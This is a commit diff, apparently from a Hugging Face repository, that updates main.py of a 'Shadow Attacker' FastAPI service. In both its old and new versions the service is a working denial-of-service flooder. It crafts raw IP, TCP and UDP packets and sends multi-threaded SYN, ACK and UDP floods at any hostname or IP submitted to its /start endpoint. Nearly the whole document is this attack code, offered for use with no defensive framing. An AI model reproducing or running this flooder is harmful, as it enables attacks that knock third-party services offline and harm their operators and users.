rkihacker commited on
Commit
308d273
·
verified ·
1 Parent(s): c24167d

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +183 -151
main.py CHANGED
@@ -1,228 +1,260 @@
1
- import asyncio
2
- import logging
 
3
  import random
4
  import socket
5
  import struct
6
  import threading
7
  import time
8
- from datetime import datetime
9
  from typing import Dict, Optional
10
- from threading import Lock
11
 
12
  import uvicorn
13
- from fastapi import FastAPI, HTTPException, BackgroundTasks
14
  from pydantic import BaseModel
15
 
16
- # Configure logging
17
- logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
18
- logger = logging.getLogger(__name__)
 
 
 
 
 
 
 
19
 
20
- app = FastAPI(title="Shadow Attacker API")
21
 
22
- # Global state (thread-safe)
23
- attack_running = False
24
  stop_events: Dict[str, threading.Event] = {}
 
25
  counters: Dict[str, int] = {}
 
 
 
26
  total_packets = 0
27
- counters_lock = Lock()
 
 
 
 
 
 
 
28
 
 
 
 
29
  class StartRequest(BaseModel):
30
- target: str # e.g., "example.com" or "192.168.1.1"
31
- port: Optional[int] = None
32
  threads: int = 10
33
- attack_type: str = "udp" # "syn", "ack", "udp", "udp_pps"
 
34
 
35
  class StatusResponse(BaseModel):
36
  running: bool
37
  attack_id: Optional[str]
38
  total_packets: int
39
  counters: Dict[str, int]
40
- logs: list
 
 
 
 
 
 
 
 
 
 
41
 
42
- def checksum(msg: bytes) -> int:
43
- """Calculate IP/TCP/UDP checksum."""
 
 
 
 
 
 
 
 
 
44
  s = 0
45
- for i in range(0, len(msg), 2):
46
- if i + 1 < len(msg):
47
- w = msg[i] << 8 | msg[i + 1]
48
  else:
49
- w = msg[i] << 8
50
  s += w
51
  while s >> 16:
52
  s = (s & 0xFFFF) + (s >> 16)
53
  return ~s & 0xFFFF
54
 
55
- def pseudo_checksum(src_ip: bytes, dst_ip: bytes, proto: int, length: int) -> int:
56
- """Pseudo header checksum for TCP/UDP."""
57
  s = 0
58
- # Source IP
59
- s += (src_ip[0] << 8) + src_ip[1]
60
- s += (src_ip[2] << 8) + src_ip[3]
61
- # Dest IP
62
- s += (dst_ip[0] << 8) + dst_ip[1]
63
- s += (dst_ip[2] << 8) + dst_ip[3]
64
  s += proto
65
  s += length
66
  while s >> 16:
67
  s = (s & 0xFFFF) + (s >> 16)
68
  return s
69
 
70
- def resolve_target(host: str) -> bytes:
71
- """Resolve target IP."""
72
- try:
73
- if ':' in host:
74
- ip = socket.inet_aton(host)
75
- else:
76
- ip = socket.inet_aton(socket.gethostbyname(host))
77
- return ip
78
- except:
79
- raise ValueError(f"Invalid target: {host}")
80
-
81
- def get_local_ip(dst_ip: bytes) -> bytes:
82
- """Get local source IP for routing to dst."""
83
- try:
84
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
85
- s.connect((socket.inet_ntoa(dst_ip), 53))
86
- src_ip = s.getsockname()[0]
87
- s.close()
88
- return socket.inet_aton(src_ip)
89
- except:
90
- return socket.inet_aton("0.0.0.0")
91
 
92
- def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, total_len: int) -> bytes:
93
- """Build IP header."""
94
  ip = bytearray(20)
95
- ip[0] = 0x45 # Version 4, IHL 5
96
- ip[1] = 0x00 # TOS
97
- struct.pack_into('!H', ip, 2, total_len)
98
- struct.pack_into('!H', ip, 4, random.randint(1, 65535)) # ID
99
- struct.pack_into('!H', ip, 6, 0x40) # Flags + Fragment offset
100
- ip[8] = 64 # TTL
101
- ip[9] = proto
102
- struct.pack_into('!H', ip, 10, 0) # Checksum placeholder
103
  ip[12:16] = src_ip
104
  ip[16:20] = dst_ip
105
- # Calculate IP checksum
106
- ip_cs = checksum(bytes(ip))
107
- struct.pack_into('!H', ip, 10, ip_cs)
108
  return bytes(ip)
109
 
110
- def build_tcp_header(src_port: int, dst_port: int, seq: int, ack: int, flags: int, length: int) -> bytes:
111
- """Build TCP header (20 bytes)."""
112
- tcp = bytearray(20)
113
- struct.pack_into('!HH', tcp, 0, src_port, dst_port)
114
- struct.pack_into('!II', tcp, 4, seq, ack)
115
- tcp[12] = 0x50 # Data offset 5, reserved 0
116
- tcp[13] = flags # Flags
117
- struct.pack_into('!H', tcp, 14, 65535) # Window
118
- struct.pack_into('!H', tcp, 16, 0) # Checksum placeholder
119
- struct.pack_into('!H', tcp, 18, 0) # Urgent pointer
120
- return bytes(tcp)
121
-
122
- def build_udp_header(src_port: int, dst_port: int, length: int) -> bytes:
123
- """Build UDP header (8 bytes)."""
124
- udp = bytearray(8)
125
- struct.pack_into('!HHHH', udp, 0, src_port, dst_port, length, 0) # Checksum placeholder
126
- return bytes(udp)
127
 
128
- def build_tcp_packet(src_ip: bytes, dst_ip: bytes, src_port: int, dst_port: int, seq: int, ack: int, flags: int) -> bytes:
129
- """Build full TCP SYN/ACK packet."""
130
- tcp_hdr = build_tcp_header(src_port, dst_port, seq, ack, flags, 20)
131
- ip_hdr = build_ip_header(src_ip, dst_ip, socket.IPPROTO_TCP, 40)
 
132
  pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
133
- tcp_cs = checksum(struct.pack('!H', pseudo) + tcp_hdr)
134
- struct.pack_into('!H', tcp_hdr, 16, tcp_cs)
135
- return ip_hdr + tcp_hdr
 
 
136
 
137
- def build_udp_packet(src_ip: bytes, dst_ip: bytes, src_port: int, dst_port: int, payload: bytes) -> bytes:
138
- """Build full UDP packet."""
139
  udp_len = 8 + len(payload)
140
- udp_hdr = build_udp_header(src_port, dst_port, udp_len)
141
- ip_hdr = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, 28 + len(payload))
142
  pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
143
- udp_cs = checksum(struct.pack('!H', pseudo) + udp_hdr + payload)
144
- struct.pack_into('!H', udp_hdr, 6, udp_cs)
145
- return ip_hdr + udp_hdr
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
146
 
147
- async def flood_worker(attack_id: str, dst_ip: bytes, src_ip: bytes, dst_port: int, payload: bytes, stop_event: threading.Event, attack_type: str):
148
- """Worker thread for flooding."""
149
- s = None
150
  try:
151
- s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
152
- s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
153
  while not stop_event.is_set():
154
  src_port = random.randint(1024, 65535)
155
- if attack_type == "syn":
156
- pkt = build_tcp_packet(src_ip, dst_ip, src_port, dst_port, random.randint(0, 2**32-1), 0, 0x02)
157
- elif attack_type == "ack":
158
- pkt = build_tcp_packet(src_ip, dst_ip, src_port, dst_port, random.randint(0, 2**32-1), random.randint(0, 2**32-1), 0x10)
159
- else: # udp or udp_pps
 
 
 
 
160
  pkt = build_udp_packet(src_ip, dst_ip, src_port, dst_port, payload)
161
- s.sendto(pkt, (socket.inet_ntoa(dst_ip), 0))
 
 
 
162
  with counters_lock:
163
  counters[attack_id] = counters.get(attack_id, 0) + 1
164
  total_packets += 1
165
- await asyncio.sleep(0.001) # Yield to event loop
166
  except Exception as e:
167
- logger.error(f"Worker error: {e}")
168
  finally:
169
- if s:
170
- s.close()
 
 
 
 
 
 
 
 
 
171
 
172
- def start_background_attack(req: StartRequest):
173
- """Start attack in background threads."""
174
  attack_id = f"{req.target}_{int(time.time())}"
175
- stop_event = threading.Event()
176
- stop_events[attack_id] = stop_event
 
177
  dst_ip = resolve_target(req.target)
178
  src_ip = get_local_ip(dst_ip)
179
  dst_port = req.port or random.randint(1, 65535)
180
- payload = b''.join(bytes([random.randint(0, 255)]) for _ in range(1200)) if req.attack_type == "udp" else b''
181
- mutate = req.attack_type == "udp"
182
-
183
- def run_threads():
184
- threads = []
185
- for _ in range(req.threads):
186
- t = threading.Thread(target=lambda: asyncio.run(flood_worker(attack_id, dst_ip, src_ip, dst_port, payload, stop_event, req.attack_type)))
187
- t.start()
188
- threads.append(t)
189
- for t in threads:
190
- t.join()
191
-
192
- thread = threading.Thread(target=run_threads)
193
- thread.start()
194
- logger.info(f"Started {req.attack_type} attack on {req.target}:{dst_port} with {req.threads} threads")
195
- return attack_id
196
 
197
- @app.post("/start")
198
- async def start_attack(req: StartRequest, background_tasks: BackgroundTasks):
199
- global attack_running
200
- if attack_running:
201
- raise HTTPException(status_code=400, detail="Attack already running")
202
- attack_running = True
203
- attack_id = start_background_attack(req)
204
- return {"message": "Attack started", "attack_id": attack_id}
 
 
 
 
 
 
 
 
 
205
 
206
  @app.post("/stop")
207
- async def stop_attack(attack_id: Optional[str] = None):
208
- global attack_running
209
- if attack_id:
210
- stop_events.get(attack_id, threading.Event()).set()
211
- del counters[attack_id]
 
 
212
  else:
213
  for ev in stop_events.values():
214
  ev.set()
215
- counters.clear()
216
- attack_running = False
217
- return {"message": "Attack stopped"}
 
 
 
218
 
219
  @app.get("/status", response_model=StatusResponse)
220
- async def get_status(attack_id: Optional[str] = None):
221
  with counters_lock:
222
- total = total_packets
223
- cnts = {k: v for k, v in counters.items()} if not attack_id else {attack_id: counters.get(attack_id, 0)}
224
- logs = [] # Fetch recent logs (simplified; in prod, use a queue or file)
225
- return StatusResponse(running=attack_running, attack_id=attack_id, total_packets=total, counters=cnts, logs=logs)
 
 
 
 
 
 
 
 
 
 
226
 
 
 
 
227
  if __name__ == "__main__":
228
  uvicorn.run(app, host="0.0.0.0", port=8000)
 
1
+ # --------------------------------------------------------------
2
+ # Shadow Attacker – FastAPI + raw sockets (works in HF Docker)
3
+ # --------------------------------------------------------------
4
  import random
5
  import socket
6
  import struct
7
  import threading
8
  import time
9
+ from collections import deque
10
  from typing import Dict, Optional
 
11
 
12
  import uvicorn
13
+ from fastapi import FastAPI, HTTPException
14
  from pydantic import BaseModel
15
 
16
+ # ------------------------------------------------------------------
17
+ # Logging + global state (thread-safe)
18
+ # ------------------------------------------------------------------
19
+ import logging
20
+
21
+ logging.basicConfig(
22
+ level=logging.INFO,
23
+ format="%(asctime)s %(levelname)s %(message)s",
24
+ )
25
+ log = logging.getLogger(__name__)
26
 
27
+ app = FastAPI(title="Shadow Attacker")
28
 
29
+ # attack_id stop_event
 
30
  stop_events: Dict[str, threading.Event] = {}
31
+ # attack_id → packets_sent
32
  counters: Dict[str, int] = {}
33
+ counters_lock = threading.Lock()
34
+
35
+ # global total + rolling log (max 200 entries)
36
  total_packets = 0
37
+ log_buffer: deque[str] = deque(maxlen=200)
38
+
39
+
40
+ def _log(msg: str):
41
+ """Thread-safe log → console + rolling buffer."""
42
+ log.info(msg)
43
+ log_buffer.append(f"{time.strftime('%H:%M:%S')} {msg}")
44
+
45
 
46
+ # ------------------------------------------------------------------
47
+ # Pydantic models
48
+ # ------------------------------------------------------------------
49
  class StartRequest(BaseModel):
50
+ target: str
51
+ port: Optional[int] = None # if None → random 1-65535
52
  threads: int = 10
53
+ attack_type: str = "udp" # syn | ack | udp | udp_pps
54
+
55
 
56
  class StatusResponse(BaseModel):
57
  running: bool
58
  attack_id: Optional[str]
59
  total_packets: int
60
  counters: Dict[str, int]
61
+ logs: list[str]
62
+
63
+
64
+ # ------------------------------------------------------------------
65
+ # Helper networking functions
66
+ # ------------------------------------------------------------------
67
+ def resolve_target(host: str) -> bytes:
68
+ """Return IPv4 bytes (4)."""
69
+ ip = socket.gethostbyname(host)
70
+ return socket.inet_aton(ip)
71
+
72
 
73
+ def get_local_ip(dst_ip: bytes) -> bytes:
74
+ """Pick a source IP that can route to dst_ip."""
75
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
76
+ try:
77
+ s.connect((socket.inet_ntoa(dst_ip), 53))
78
+ return socket.inet_aton(s.getsockname()[0])
79
+ finally:
80
+ s.close()
81
+
82
+
83
+ def checksum(data: bytes) -> int:
84
  s = 0
85
+ for i in range(0, len(data), 2):
86
+ if i + 1 < len(data):
87
+ w = (data[i] << 8) | data[i + 1]
88
  else:
89
+ w = data[i] << 8
90
  s += w
91
  while s >> 16:
92
  s = (s & 0xFFFF) + (s >> 16)
93
  return ~s & 0xFFFF
94
 
95
+
96
+ def pseudo_checksum(src: bytes, dst: bytes, proto: int, length: int) -> int:
97
  s = 0
98
+ for i in range(0, 4, 2):
99
+ s += (src[i] << 8) | src[i + 1]
100
+ s += (dst[i] << 8) | dst[i + 1]
 
 
 
101
  s += proto
102
  s += length
103
  while s >> 16:
104
  s = (s & 0xFFFF) + (s >> 16)
105
  return s
106
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
107
 
108
+ def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, payload_len: int) -> bytes:
109
+ total = 20 + payload_len
110
  ip = bytearray(20)
111
+ ip[0] = 0x45
112
+ struct.pack_into("!HHBB", ip, 2, total, random.randint(0, 0xFFFF), 64, proto)
 
 
 
 
 
 
113
  ip[12:16] = src_ip
114
  ip[16:20] = dst_ip
115
+ struct.pack_into("!H", ip, 10, checksum(ip))
 
 
116
  return bytes(ip)
117
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
118
 
119
+ def build_tcp_packet(src_ip, dst_ip, src_p, dst_p, seq, ack, flags):
120
+ tcp = bytearray(20)
121
+ struct.pack_into("!HHIIBBHHH", tcp, 0,
122
+ src_p, dst_p, seq, ack,
123
+ 5 << 4, flags, 65535, 0, 0)
124
  pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
125
+ cs = checksum(struct.pack("!I", pseudo) + tcp)
126
+ struct.pack_into("!H", tcp, 16, cs)
127
+ ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
128
+ return ip + tcp
129
+
130
 
131
+ def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes):
 
132
  udp_len = 8 + len(payload)
133
+ udp = bytearray(8)
134
+ struct.pack_into("!HHHH", udp, 0, src_p, dst_p, udp_len, 0)
135
  pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
136
+ cs = checksum(struct.pack("!I", pseudo) + udp + payload)
137
+ struct.pack_into("!H", udp, 6, cs)
138
+ ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
139
+ return ip + udp
140
+
141
+
142
+ # ------------------------------------------------------------------
143
+ # The real flood worker (pure thread, no asyncio)
144
+ # ------------------------------------------------------------------
145
+ def flood_worker(
146
+ attack_id: str,
147
+ dst_ip: bytes,
148
+ src_ip: bytes,
149
+ dst_port: int,
150
+ payload: bytes,
151
+ stop_event: threading.Event,
152
+ kind: str,
153
+ ):
154
+ global total_packets
155
+ sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
156
+ sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
157
 
 
 
 
158
  try:
 
 
159
  while not stop_event.is_set():
160
  src_port = random.randint(1024, 65535)
161
+
162
+ if kind == "syn":
163
+ pkt = build_tcp_packet(src_ip, dst_ip, src_port, dst_port,
164
+ random.randint(0, 2**32-1), 0, 0x02)
165
+ elif kind == "ack":
166
+ pkt = build_tcp_packet(src_ip, dst_ip, src_port, dst_port,
167
+ random.randint(0, 2**32-1),
168
+ random.randint(0, 2**32-1), 0x10)
169
+ else: # udp / udp_pps
170
  pkt = build_udp_packet(src_ip, dst_ip, src_port, dst_port, payload)
171
+
172
+ sock.sendto(pkt, (socket.inet_ntoa(dst_ip), 0))
173
+
174
+ # ---------- COUNTER ----------
175
  with counters_lock:
176
  counters[attack_id] = counters.get(attack_id, 0) + 1
177
  total_packets += 1
178
+ # -----------------------------
179
  except Exception as e:
180
+ _log(f"[!] Worker error ({attack_id}): {e}")
181
  finally:
182
+ sock.close()
183
+
184
+
185
+ # ------------------------------------------------------------------
186
+ # API routes
187
+ # ------------------------------------------------------------------
188
+ @app.post("/start")
189
+ def start_attack(req: StartRequest):
190
+ global total_packets
191
+ if any(not ev.is_set() for ev in stop_events.values()):
192
+ raise HTTPException(400, "An attack is already running")
193
 
 
 
194
  attack_id = f"{req.target}_{int(time.time())}"
195
+ stop_ev = threading.Event()
196
+ stop_events[attack_id] = stop_ev
197
+
198
  dst_ip = resolve_target(req.target)
199
  src_ip = get_local_ip(dst_ip)
200
  dst_port = req.port or random.randint(1, 65535)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
201
 
202
+ payload = b""
203
+ if req.attack_type == "udp":
204
+ payload = bytes(random.getrandbits(8) for _ in range(1200))
205
+ # udp_pps → empty payload for max PPS
206
+
207
+ # spawn worker threads
208
+ for _ in range(req.threads):
209
+ t = threading.Thread(
210
+ target=flood_worker,
211
+ args=(attack_id, dst_ip, src_ip, dst_port, payload, stop_ev, req.attack_type),
212
+ daemon=True,
213
+ )
214
+ t.start()
215
+
216
+ _log(f"STARTED {req.attack_type.upper()} → {req.target}:{dst_port} ({req.threads} threads) – ID {attack_id}")
217
+ return {"message": "attack started", "attack_id": attack_id}
218
+
219
 
220
  @app.post("/stop")
221
+ def stop_attack(attack_id: Optional[str] = None):
222
+ if attack_id and attack_id in stop_events:
223
+ stop_events[attack_id].set()
224
+ del stop_events[attack_id]
225
+ with counters_lock:
226
+ counters.pop(attack_id, None)
227
+ _log(f"STOPPED attack {attack_id}")
228
  else:
229
  for ev in stop_events.values():
230
  ev.set()
231
+ stop_events.clear()
232
+ with counters_lock:
233
+ counters.clear()
234
+ _log("STOPPED ALL attacks")
235
+ return {"message": "stopped"}
236
+
237
 
238
  @app.get("/status", response_model=StatusResponse)
239
+ def status(attack_id: Optional[str] = None):
240
  with counters_lock:
241
+ cnt = {k: v for k, v in counters.items()}
242
+ tot = total_packets
243
+
244
+ running = bool(stop_events)
245
+ aid = attack_id if attack_id in stop_events else None
246
+
247
+ return StatusResponse(
248
+ running=running,
249
+ attack_id=aid,
250
+ total_packets=tot,
251
+ counters=cnt if not attack_id else {attack_id: cnt.get(attack_id, 0)},
252
+ logs=list(log_buffer),
253
+ )
254
+
255
 
256
+ # ------------------------------------------------------------------
257
+ # Entrypoint
258
+ # ------------------------------------------------------------------
259
  if __name__ == "__main__":
260
  uvicorn.run(app, host="0.0.0.0", port=8000)